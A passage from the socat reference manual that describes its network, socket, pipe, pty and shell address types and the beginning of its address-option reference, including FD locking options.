This address works well with IP-SENDTO address peers (see above). Protocol 255 uses the raw socket with the IP header being part of the data.
See the note about RECVFROM addresses.
Option groups: FD,SOCKET,IP4,IP6,CHILD,RANGE
Useful options: pf, fork, range, ttl, broadcast
See also: IP4-RECVFROM, IP6-RECVFROM, IP-SENDTO, IP-RECV, UDP-RECVFROM, UNIX-RECVFROM

IP4-RECVFROM:<protocol>
Like IP-RECVFROM, but always uses IPv4.
Option groups: FD,SOCKET,IP4,CHILD,RANGE

IP6-RECVFROM:<protocol>
Like IP-RECVFROM, but always uses IPv6.
Option groups: FD,SOCKET,IP6,CHILD,RANGE

IP-RECV:<protocol>
Opens a raw IP socket of <protocol>. Depending on option pf, IP protocol version 4 or 6 is used. It receives packets from multiple unspecified peers and merges the data. No replies are possible, this is a read-only address, see options -u and -U, and dual addresses. It can be, e.g., addressed by socat IP-SENDTO address peers. Protocol 255 uses the raw socket with the IP header being part of the data.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: pf, range
See also: IP4-RECV, IP6-RECV, IP-SENDTO, IP-RECVFROM, UDP-RECV, UNIX-RECV

IP4-RECV:<protocol>
Like IP-RECV, but always uses IPv4.
Option groups: FD,SOCKET,IP4,RANGE

IP6-RECV:<protocol>
Like IP-RECV, but always uses IPv6.
Option groups: FD,SOCKET,IP6,RANGE

OPEN:<filename>
Opens <filename> using the open() system call (example). This operation fails on UNIX domain sockets.
Note: This address type is rarely useful in bidirectional mode.
Option groups: FD,REG,NAMED,OPEN
Useful options: creat, excl, noatime, nofollow, append, rdonly, wronly, lock, readbytes, ignoreeof
See also: CREATE, GOPEN, UNIX-CONNECT

OPENSSL:<host>:<port>
Tries to establish a SSL connection to <port> [TCP service] on <host> [IP address] using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
NOTE: Up to version 1.7.2.4 the server certificate was only checked for validity against the system certificate store or cafile or capath, but not for match with the server’s name or its IP address. Since version 1.7.3.0 socat checks the peer certificate for match with the <host> parameter or the value of the openssl-commonname option. Socat tries to match it against the certificates subject commonName, and the certificates extension subjectAltName DNS names. Wildcards in the certificate are supported.
Option groups: FD,SOCKET,IP4,IP6,TCP,OPENSSL,RETRY
Useful options: min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, bind, pf, connect-timeout, sourceport, retry
See also: OPENSSL-LISTEN, TCP

OPENSSL-LISTEN:<port>
Listens on tcp <port> [TCP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as SSL server.
Note: You probably want to use the certificate option with this address.
NOTE: The client certificate is only checked for validity against cafile or capath, but not for match with the client’s name or its IP address!
Option groups: FD,SOCKET,IP4,IP6,TCP,LISTEN,OPENSSL,CHILD,RANGE,RETRY
Useful options: pf, min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, fork, bind, range, tcpwrap, su, reuseaddr, retry
See also: OPENSSL, TCP-LISTEN

OPENSSL-DTLS-CLIENT:<host>:<port>
Tries to establish a DTLS connection to <port> [UDP service] on <host> [IP address] using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Socat checks the peer certificates subjectAltName or commonName against the addresses option openssl-commonname or the host name. Wildcards in the certificate are supported.
Use socat option -b to make datagrams small enough to fit with overhead on the network. Use option -T to prevent indefinite hanging when peer went down quietly.
Option groups: FD,SOCKET,IP4,IP6,OPENSSL,RETRY
Useful options: min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, bind, pf, sourceport, retry, rcvtimeo
See also: OPENSSL-DTLS-SERVER, OPENSSL-CONNECT, UDP-CONNECT

OPENSSL-DTLS-SERVER:<port>
Listens on UDP <port> [UDP service]. The IP version is 4 or the one specified with pf. When a connection is accepted, this address behaves as DTLS server.
Note: You probably want to use the certificate option with this address.
NOTE: The client certificate is only checked for validity against cafile or capath, but not for match with the client’s name or its IP address! Use socat option -b to make datagrams small enough to fit with overhead on the network. Use option -T to prevent indefinite hanging when peer went down quietly.
Option groups: FD,SOCKET,IP4,IP6,LISTEN,OPENSSL,CHILD,RANGE,RETRY
Useful options: pf, min-proto-version, cipher, verify, commonname, cafile, capath, certificate, key, compress, fork, bind, range, tcpwrap, su, reuseaddr, retry
rcvtimeo
See also: OPENSSL-DTLS-CLIENT, OPENSSL-LISTEN, UDP-LISTEN

PIPE:<filename>
If <filename> already exists, it is opened. If it does not exist, a named pipe is created and opened. Beginning with socat version 1.4.3, the named pipe is removed when the address is closed (but see option unlink-close
Note: When a pipe is used for both reading and writing, it works as echo service.
Note: When a pipe is used for both reading and writing, and socat tries to write more bytes than the pipe can buffer (Linux 2.4: 2048 bytes), socat might block. Consider using socat option, e.g., -b 2048
Option groups: FD,NAMED,OPEN
Useful options: rdonly, nonblock, group, user, mode, unlink-early
See also: unnamed pipe

PIPE
Creates an unnamed pipe and uses it for reading and writing. It works as an echo, because everything written to it appeares immediately as read data.
Note: When socat tries to write more bytes than the pipe can queue (Linux 2.4: 2048 bytes), socat might block. Consider, e.g., using option -b 2048
Option groups: FD
See also: named pipe, SOCKETPAIR

SOCKETPAIR
Creates a socketpair and uses it for reading and writing. It works as an echo, because everything written to it appeares immediately as read data. The default socket type is datagram, so it keeps packet boundaries.
Option groups: FD
Useful options: socktype
See also: unnamed pipe

POSIXMQ-READ:/<mqueue>
Opens the specified POSIX message queue and reads messages (packets). It keeps the boundaries.
This is a read-only address, see options -u and -U and dual addresses.
Socat provides this address type only on Linux because POSIX MQ is based on UNIX filedescriptors there.
This feature is new in version 1.8.0.0 and might change in the future, therefore it is experimental.
Useful options: posixmq-priority, unlink-early, unlink-close

POSIXMQ-RECEIVE:/<mqueue>

POSIXMQ-RECV:/<mqueue>
Opens the specified POSIX message queue and reads one message (packet).
This is a read-only address. See POSIXMQ-READ for more info.
Example: POSIX MQ recv with fork
This feature is experimental.
Useful options: posixmq-priority, fork, max-children, unlink-early, unlink-close

POSIXMQ-SEND:/<mqueue>
Opens the specified POSIX message queue and writes messages (packets).
This is a write-only address. See POSIXMQ-READ for more info.
(Example)
This feature is experimental.
Useful options: posixmq-priority, fork, max-children, unlink-early, unlink-close

POSIXMQ-BIDIRECTIONAL:/mqueue
Opens the specified POSIX message queue and writes and reads messages (packet). This is probably rarely useful but has been implemented for functional completeness.

PROXY:<proxy>:<hostname>:<port>
Connects to an HTTP proxy server on port 8080 using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf, and sends a CONNECT request for hostname:port. If the proxy grants access and succeeds to connect to the target, data transfer between socat and the target can start (example). Note that the traffic need not be HTTP but can be an arbitrary protocol.
Option groups: FD,SOCKET,IP4,IP6,TCP,HTTP,RETRY
Useful options: proxyport, ignorecr, proxyauth, resolve, crnl, bind, connect-timeout, mss, sourceport, retry
See also: SOCKS, TCP

PTY
Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty’s slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX).
Option groups: FD,NAMED,PTY,TERMIOS
Useful options: link, openpty, wait-slave, mode, user, group
See also: UNIX-LISTEN, PIPE, EXEC, SYSTEM, SHELL

READLINE
lines (example).
You can use STDIO instead.

SCTP-CONNECT:<host>:<port>
Establishes an SCTP stream connection to the specified <host> [IP address] and <port> [TCP service] using IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,SCTP,CHILD,RETRY
Useful options: bind, pf, connect-timeout, tos, mtudiscover, sctp-maxseg, sctp-nodelay, nonblock, sourceport, retry, readbytes
See also: SCTP4-CONNECT, SCTP6-CONNECT, SCTP-LISTEN, TCP-CONNECT

SCTP4-CONNECT:<host>:<port>
Like SCTP-CONNECT, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,SCTP,CHILD,RETRY

SCTP6-CONNECT:<host>:<port>
Like SCTP-CONNECT, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,SCTP,CHILD,RETRY

SCTP-LISTEN:<port>
Listens on <port> [TCP service] and accepts an SCTP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,SCTP,RETRY
Useful options: crnl, fork, bind, range, tcpwrap, pf, max-children, backlog, accept-timeout, sctp-maxseg, sctp-nodelay, su, reuseaddr, retry
See also: SCTP4-LISTEN, SCTP6-LISTEN, TCP-LISTEN, SCTP-CONNECT

SCTP4-LISTEN:<port>
Like SCTP-LISTEN, but only supports IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,SCTP,RETRY

SCTP6-LISTEN:<port>
Like SCTP-LISTEN, but only supports IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,SCTP,RETRY

SOCKET-CONNECT:<domain>:<protocol>:<remote-address>
Creates a stream socket using the first and second given socket parameters and SOCK_STREAM`` (see man socket(2)) and connects to the remote-address. The two socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,CHILD,RETRY
Useful options: bind, setsockopt,
See also: TCP, UDP-CONNECT, UNIX-CONNECT, SOCKET-LISTEN, SOCKET-SENDTO

SOCKET-DATAGRAM:<domain>:<type>:<protocol>:<remote-address>
Creates a datagram socket using the first three given socket parameters (see man socket(2)) and sends outgoing data to the remote-address. The three socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,RANGE
Useful options: bind, range, setsockopt,
See also: UDP-DATAGRAM, IP-DATAGRAM, SOCKET-SENDTO, SOCKET-RECV, SOCKET-RECVFROM

SOCKET-LISTEN:<domain>:<protocol>:<local-address>
Creates a stream socket using the first and second given socket parameters and SOCK_STREAM`` (see man socket(2)) and waits for incoming connections on local-address. The two socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,LISTEN,RANGE,CHILD,RETRY
Useful options: setsockopt, setsockopt-listen,
See also: TCP, UDP-CONNECT, UNIX-CONNECT, SOCKET-LISTEN, SOCKET-SENDTO, SOCKET-SENDTO

SOCKET-RECV:<domain>:<type>:<protocol>:<local-address>
Creates a socket using the three given socket parameters (see man socket(2)) and binds it to <local-address>. Receives arriving data. The three parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Option groups: FD,SOCKET,RANGE
Useful options: range, setsockopt, setsockopt-listen
See also: UDP-RECV, IP-RECV, UNIX-RECV, SOCKET-DATAGRAM, SOCKET-SENDTO, SOCKET-RECVFROM

SOCKET-RECVFROM:<domain>:<type>:<protocol>:<local-address>
Creates a socket using the three given socket parameters (see man socket(2)) and binds it to <local-address>. Receives arriving data and sends replies back to the sender. The first three parameters have to be specified as int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
See the note about RECVFROM addresses.
Option groups: FD,SOCKET,CHILD,RANGE
Useful options: fork, range, setsockopt, setsockopt-listen
See also: UDP-RECVFROM, IP-RECVFROM, UNIX-RECVFROM, SOCKET-DATAGRAM, SOCKET-SENDTO, SOCKET-RECV

SOCKET-SENDTO:<domain>:<type>:<protocol>:<remote-address>
Creates a socket using the three given socket parameters (see man socket(2)). Sends outgoing data to the given address and receives replies. The three parameters have to be specified as int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Option groups: FD,SOCKET
Useful options: bind, setsockopt, setsockopt-listen
See also: UDP-SENDTO, IP-SENDTO, UNIX-SENDTO, SOCKET-DATAGRAM, SOCKET-RECV SOCKET-RECVFROM

ACCEPT-FD:<fdnum>
Expects a listening socket in <fdnum> and accepts one or (with option fork) more connections. This address type is useful under systemd control with “inetd mode”.
Example: (example)
Option groups: FD, SOCKET, TCP, CHILD, RETRY
Useful options: fork, range, sourceport, lowport, tcpwrap

SOCKS4:<socks-server>:<host>:<port>
Connects via <socks-server> [IP address] to <host> [IPv4 address] on <port> [TCP service], using socks version 4 protocol over IP version 4 or 6 depending on address specification, name resolution, or option pf (example).
Option groups: FD,SOCKET,IP4,IP6,TCP,SOCKS4,RETRY
Useful options: socksuser, socksport, sourceport, pf, retry
See also: SOCKS5, SOCKS4A, PROXY, TCP

SOCKS4A:<socks-server>:<host>:<port>
like SOCKS4, but uses socks protocol version 4a, thus leaving host name resolution to the socks server.
Option groups: FD,SOCKET,IP4,IP6,TCP,SOCKS4,RETRY

SOCKS5-CONNECT:<socks-server>:<socks-port>:<target-host>:<target-port>
Connects via <socks-server> [IP address] to <target-host> [IPv4 address] on <target-port> [TCP service], using socks version 5 protocol over TCP. Currently no authentication mechanism is provided.
This address type is experimental.
Option groups: FD, SOCKET, IP4, IP6, TCP, CHILD, RETRY
Useful options: sourceport, pf, retry
See also: SOCKS5-LISTEN, SOCKS4, SOCKS4A, PROXY, TCP

SOCKS5-LISTEN:<socks-server>:<socks-port>:<listen-host>:<listen-port>
Connects to <socks-server> [IP address] using socks version 5 protocol over TCP and makes it listen for incoming connections on <listen-port> [TCP service], binding to <-listen-host> [IPv4 address] Currently not authentication mechanism is provided. This address type is experimental. Option groups: FD, SOCKET, IP4, IP6, TCP, CHILD, RETRY
Useful options: sourceport, pf, retry
See also: SOCKS5-CONNECT,

STDERR
Uses file descriptor 2.
This is a write-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: FD

STDIN
Uses file descriptor 0.
This is a read-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
Useful options: readbytes
See also: FD

STDIO
Uses file descriptor 0 for reading, and 1 for writing.
Option groups: FD (TERMIOS,REG,SOCKET)
Useful options: readbytes
See also: FD

STDOUT
Uses file descriptor 1.
This is a write-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: FD

SHELL:<shell-command>
Forks a sub process that establishes communication with its parent process and invokes the specified program with the configured shell ($SHELL). Note that <shell-command> [string] must not contain ’,’ or “!!”, and that shell meta characters may have to be protected. After successful program start, socatwrites data to stdin of the process and reads from its stdout.
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, sigint, sigquit
See also: EXEC, SYSTEM

SYSTEM:<shell-command>
Forks a sub process that establishes communication with its parent process and invokes the specified program with system() . Please note that <shell-command> [string] must not contain ’,’ or “!!”, and that shell meta characters may have to be protected. After successful program start, socatwrites data to stdin of the process and reads from its stdout.
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, sigint, sigquit, netns
See also: EXEC, SHELL

TCP:<host>:<port>
Connects to <port> [TCP service] on <host> [IP address] using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,TCP,RETRY
Useful options: connect-timeout, retry, sourceport, netns, crnl, bind, pf, tos, mtudiscover, mss, nodelay, nonblock, readbytes
See also: TCP4, TCP6, TCP-LISTEN, UDP, SCTP-CONNECT, UNIX-CONNECT

TCP4:<host>:<port>
Like TCP, but only supports IPv4 protocol (example).
Option groups: FD,SOCKET,IP4,TCP,RETRY

TCP6:<host>:<port>
Like TCP, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,TCP,RETRY

TCP-LISTEN:<port>
Listens on <port> [TCP service] and accepts a TCP/IP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,TCP,RETRY
Useful options: crnl, fork, bind, range, tcpwrap, pf, max-children, backlog, accept-timeout, mss, su, reuseaddr, retry, cool-write
See also: TCP4-LISTEN, TCP6-LISTEN, UDP-LISTEN, SCTP-LISTEN, UNIX-LISTEN, OPENSSL-LISTEN, TCP-CONNECT

TCP4-LISTEN:<port>
Like TCP-LISTEN, but only supports IPv4 protocol (example).
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,TCP,RETRY

TCP6-LISTEN:<port>
Like TCP-LISTEN, but only supports IPv6 protocol.
Additional useful option: ipv6only
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,TCP,RETRY

TUN[:<if-addr>/<bits>]
Creates a Linux TUN/TAP device and optionally assignes it the address and netmask given by the parameters. The resulting network interface is almost ready for use by other processes; socat serves its “wire side”. This address requires read and write access to the tunnel cloning device, usually /dev/net/tun , as well as permission to set some ioctl()s``. Option iff-up is required to immediately activate the interface!
Note: If you intend to transfer packets between two Socat “wire sides” you need a protocol that keeps packet boundaries, e.g.UDP; TCP might work with option nodelay.
Option groups: FD,NAMED,OPEN,TUN
Useful options: iff-up, tun-device, tun-name, tun-type, iff-no-pi, netns
See also: ip-recv

UDP:<host>:<port>
Connects to <port> [UDP service] on <host> [IP address] using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Please note that, due to UDP protocol properties, no real connection is established; data has to be sent for `connecting’ to the server, and no end-of-file condition can be transported.
Option groups: FD,SOCKET,IP4,IP6
Useful options: ttl, tos, bind, sourceport, pf
See also: UDP4, UDP6, UDP-LISTEN, TCP, IP

UDP4:<host>:<port>
Like UDP, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4

UDP6:<host>:<port>
Like UDP, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6

UDP-DATAGRAM:<address>:<port>
Sends outgoing data to the specified address which may in particular be a broadcast or multicast address. Packets arriving on the local socket are checked for the correct remote port only when option sourceport is used (this is a change with Socat version 1.7.4.0) and if their source addresses match RANGE or TCPWRAP options. This address type can for example be used for implementing symmetric or asymmetric broadcast or multicast communications.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: bind, range, tcpwrap, broadcast, ip-multicast-loop, ip-multicast-ttl, ip-multicast-if, ip-add-membership, ip-add-source-membership, ipv6-join-group, ipv6-join-source-group, ttl, tos, sourceport, pf
See also: UDP4-DATAGRAM, UDP6-DATAGRAM, UDP-SENDTO, UDP-RECVFROM, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-DATAGRAM

UDP4-DATAGRAM:<address>:<port>
Like UDP-DATAGRAM, but only supports IPv4 protocol (example1, example2).
Option groups: FD,SOCKET,IP4, RANGE

UDP6-DATAGRAM:<address>:<port>
Like UDP-DATAGRAM, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,RANGE

UDP-LISTEN:<port>
Waits for a UDP/IP packet arriving on <port> [UDP service] and `connects’ back to sender. The accepted IP version is 4 or the one specified with option pf. Please note that, due to UDP protocol properties, no real connection is established; data has to arrive from the peer first, and no end-of-file condition can be transported. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6
Useful options: fork, bind, range, pf
See also: UDP, UDP4-LISTEN, UDP6-LISTEN, TCP-LISTEN

UDP4-LISTEN:<port>
Like UDP-LISTEN, but only support IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4

UDP6-LISTEN:<port>
Like UDP-LISTEN, but only support IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6

UDP-SENDTO:<host>:<port>
Communicates with the specified peer socket, defined by <port> [UDP service] on <host> [IP address], using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf. It sends packets to and receives packets from that peer socket only. This address effectively implements a datagram client. It works well with socat UDP-RECVFROM and UDP-RECV address peers.
Option groups: FD,SOCKET,IP4,IP6
Useful options: ttl, tos, bind, sourceport, pf
See also: UDP4-SENDTO, UDP6-SENDTO, UDP-RECVFROM, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-SENDTO

UDP4-SENDTO:<host>:<port>
Like UDP-SENDTO, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4

UDP6-SENDTO:<host>:<port>
Like UDP-SENDTO, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6

UDP-RECVFROM:<port>
Creates a UDP socket on <port> [UDP service] using UDP/IP version 4 or 6 depending on option pf. It receives one packet from an unspecified peer and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This allows a behaviour similar to typical UDP based servers like ntpd or named. This address works well with socat UDP-SENDTO address peers.
Note: When the second address fails before entering the transfer loop the packet is dropped. Use option retry or forever on the second address to avoid data loss.
Option groups: FD,SOCKET,IP4,IP6,CHILD,RANGE
Useful options: fork, ttl, tos, bind, sourceport, pf
See also: UDP4-RECVFROM, UDP6-RECVFROM, UDP-SENDTO, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-RECVFROM, UNIX-RECVFROM

UDP4-RECVFROM:<port>
Like UDP-RECVFROM, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,CHILD,RANGE

UDP6-RECVFROM:<port>
Like UDP-RECVFROM, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,CHILD,RANGE

UDP-RECV:<port>
Creates a UDP socket on <port> [UDP service] using UDP/IP version 4 or 6 depending on option pf. It receives packets from multiple unspecified peers and merges the data. No replies are possible. It works well with, e.g., socat UDP-SENDTO address peers; it behaves similar to a syslog server.
This is a read-only address, see options -u and -U, and dual addresses.
Note: if you need the fork option, use UDP-RECVFROM in unidirectional mode (with option -u) instead.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: pf, bind, sourceport, ttl, tos
See also: UDP4-RECV, UDP6-RECV, UDP-SENDTO, UDP-RECVFROM, UDP-CONNECT, UDP-LISTEN, IP-RECV, UNIX-RECV

UDP4-RECV:<port>
Like UDP-RECV, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,RANGE

UDP6-RECV:<port>
Like UDP-RECV, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,RANGE

UDPLITE-CONNECT:<host>:<port>

UDPLITE4-CONNECT:<host>:<port>

UDPLITE6-CONNECT:<host>:<port>

UDPLITE-DATAGRAM:<address>:<port>

UDPLITE4-DATAGRAM:<address>:<port>

UDPLITE6-DATAGRAM:<address>:<port>

UDPLITE-LISTEN:<port>

UDPLITE4-LISTEN:<port>

UDPLITE6-LISTEN:<port>

UDPLITE-SENDTO:<host>:<port>

UDPLITE4-SENDTO:<host>:<port>

UDPLITE6-SENDTO:<host>:<port>

UDPLITE-RECVFROM:<port>

UDPLITE4-RECVFROM:<port>

UDPLITE6-RECVFROM:<port>

UDPLITE-RECV:<port>

UDPLITE4-RECV:<port>

UDPLITE6-RECV:<port>
The UDPLITE addresses are almost identical to the related UDP addresses but they use UDP-Lite protocol and have the additional UDPLITE option group.

UNIX-CONNECT:<filename>
Connects to <filename> assuming it is a UNIX domain socket. If <filename> does not exist, this is an error; if <filename> is not a UNIX domain socket, this is an error; if <filename> is a UNIX domain socket, but no process is listening, this is an error.
Option groups: FD,SOCKET,NAMED,RETRY,UNIX
) Useful options: bind
See also: UNIX-LISTEN, UNIX-SENDTO, TCP

UNIX-LISTEN:<filename>
Listens on <filename> using a UNIX domain stream socket and accepts a connection. If <filename> exists and is not a socket, this is an error. If <filename> exists and is a UNIX domain socket, binding to the address fails (use option unlink-early!). Note that opening this address usually blocks until a client connects. Beginning with socat version 1.4.3, the file system entry is removed when this address is closed (but see option unlink-close) (example).
Option groups: FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
Useful options: fork, umask, mode, user, group, unlink-early
See also: UNIX-CONNECT, UNIX-RECVFROM, UNIX-RECV, TCP-LISTEN

UNIX-SENDTO:<filename>
Communicates with the specified peer socket, defined by [<filename>] assuming it is a UNIX domain datagram socket. It sends packets to and receives packets from that peer socket only. Please note that it might be necessary to bind the local socket to an address (e.g. /tmp/sock1``, which must not exist before). This address type works well with socat UNIX-RECVFROM and UNIX-RECV address peers.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: bind
See also: UNIX-RECVFROM, UNIX-RECV, UNIX-CONNECT, UDP-SENDTO, IP-SENDTO

UNIX-RECVFROM:<filename>
Creates a UNIX domain datagram socket [<filename>]. Receives one packet and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This address works well with socat UNIX-SENDTO address peers.
Option groups: FD,SOCKET,NAMED,CHILD,UNIX
See the note about RECVFROM addresses.
Useful options: fork
umask
See also: UNIX-SENDTO, UNIX-RECV, UNIX-LISTEN, UDP-RECVFROM, IP-RECVFROM

UNIX-RECV:<filename>
Creates a UNIX domain datagram socket [<filename>]. Receives packets from multiple unspecified peers and merges the data. No replies are possible, this is a read-only address, see options -u and -U, and dual addresses. It can be, e.g., addressed by socat UNIX-SENDTO address peers. It behaves similar to a syslog server.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: umask
See also: UNIX-SENDTO, UNIX-RECVFROM, UNIX-LISTEN, UDP-RECV, IP-RECV

UNIX-CLIENT:<filename>
Communicates with the specified peer socket, defined by [<filename>] assuming it is a UNIX domain socket. It first tries to connect and, if that fails, assumes it is a datagram socket, thus supporting both types.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: bind
See also: UNIX-CONNECT, UNIX-SENDTO, GOPEN

VSOCK-CONNECT:<cid>:<port>
Establishes a VSOCK stream connection to the specified <cid> [VSOCK cid] and <port> [VSOCK port].
Option groups: FD,SOCKET,CHILD,RETRY
Useful options: bind, connect-timeout, retry, readbytes
See also: VSOCK-LISTEN,

VSOCK-LISTEN:<port>
Listens on <port> [VSOCK port] and accepts a VSOCK connection. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RETRY
Useful options: fork, bind, max-children, backlog, su, reuseaddr, retry
See also: VSOCK-CONNECT

ABSTRACT-CONNECT:<string>

ABSTRACT-LISTEN:<string>

ABSTRACT-SENDTO:<string>

ABSTRACT-RECVFROM:<string>

ABSTRACT-RECV:<string>

ABSTRACT-CLIENT:<string>
The ABSTRACT addresses are almost identical to the related UNIX addresses except that they do not address file system based sockets but an alternate UNIX domain address space. To achieve this the socket address strings are prefixed with “�” internally. This feature is available (only?) on Linux. Option groups are the same as with the related UNIX addresses, except that the ABSTRACT addresses are not member of the NAMED group.
Useful options: netns

ADDRESS OPTIONS

Address options can be applied to address specifications to influence the process of opening the addresses and the properties of the resulting data channels.

For technical reasons not every option can be applied to every address type; e.g., applying a socket option to a regular file will fail. To catch most useless combinations as early as in the open phase, the concept of option groups was introduced. Each option belongs to one or more option groups. Options can be used only with address types that support at least one of their option groups (but see option -g).

Address options have data types that their values must conform to. Every address option consists of just a keyword or a keyword followed by “=value”, where value must conform to the options type. Some address options manipulate parameters of system calls; e.g., option sync sets the O_SYNC flag with the open() call. Other options cause a system or library call; e.g., with option `ttl=value’ the setsockopt(fd, SOL_IP, IP_TTL, value, sizeof(int)) call is applied. Other options set internal socat variables that are used during data transfer; e.g., `crnl’ causes explicit character conversions. A few options have more complex implementations; e.g., su-d (substuser-delayed) inquires some user and group infos, stores them, and applies them later after a possible chroot() call.

If multiple options are given to an address, their sequence in the address specification has (almost) no effect on the sequence of their execution/application. Instead, socat has built in an option phase model that tries to bring the options in a useful order. Some options exist in different forms (e.g., unlink, unlink-early, unlink-late) to control the time of their execution.

If the same option is specified more than once within one address specification, with equal or different values, the effect depends on the kind of option. Options resulting in function calls like setsockopt() cause multiple invocations. With options that set parameters for a required call like open() or set internal flags, the value of the last option occurrence is effective.

The existence or semantics of many options are system dependent. Socat usually does NOT try to emulate missing libc or kernel features, it just provides an interface to the underlying system. So, if an operating system lacks a feature, the related option is simply not available on this platform.

The following paragraphs introduce just the more common address options. For a more comprehensive reference and to find information about canonical option names, alias names, option phases, and platforms see file xio.help.

FD option group

This option group contains options that are applied to a UN*X style file descriptor, no matter how it was generated. Because all current socat address types are file descriptor based, these options may be applied to any address.
Note: Some of these options are also member of another option group, that provides another, non-fd based mechanism. For these options, it depends on the actual address type and its option groups which mechanism is used. The second, non-fd based mechanism is prioritized.

cloexec[=<bool>]
Sets the FD_CLOEXEC flag with the fcntl() system call to value <bool>. If set, the file descriptor is closed on exec() family function calls. Socat internally handles this flag for the fds it controls, so in most cases there will be no need to apply this option.

setlk[=<bool>]
Tries to set a discretionary write lock to the whole file using the fcntl(fd, F_SETLK, …) system call. If the file is already locked, this call results in an error. On Linux, when the file permissions for group are “S” (g-x,g+s), and the file system is locally mounted with the “mand” option, the lock is mandatory, i.e. prevents other processes from opening the file.

setlkw[=<bool>]
Tries to set a discretionary waiting write lock to the whole file using the fcntl(fd, F_SETLKW, ...) system call. If the file is already locked, this call blocks. See option setlk for information about making this lock mandatory.

setlk-rd[=<bool>]
Tries to set a discretionary read lock to the whole file using the fcntl(fd, F_SETLK, …) system call. If the file is already write locked, this call results in an error. See option setlk for information about making this lock mandatory.

setlkw-rd[=<bool>]
Tries to set a discretionary waiting read lock to the whole file using the fcntl(fd, F_SETLKW, ...) system call. If the file is already write locked, this call blocks. See option setlk for information about making this lock mandatory.

flock-ex[=<bool>]
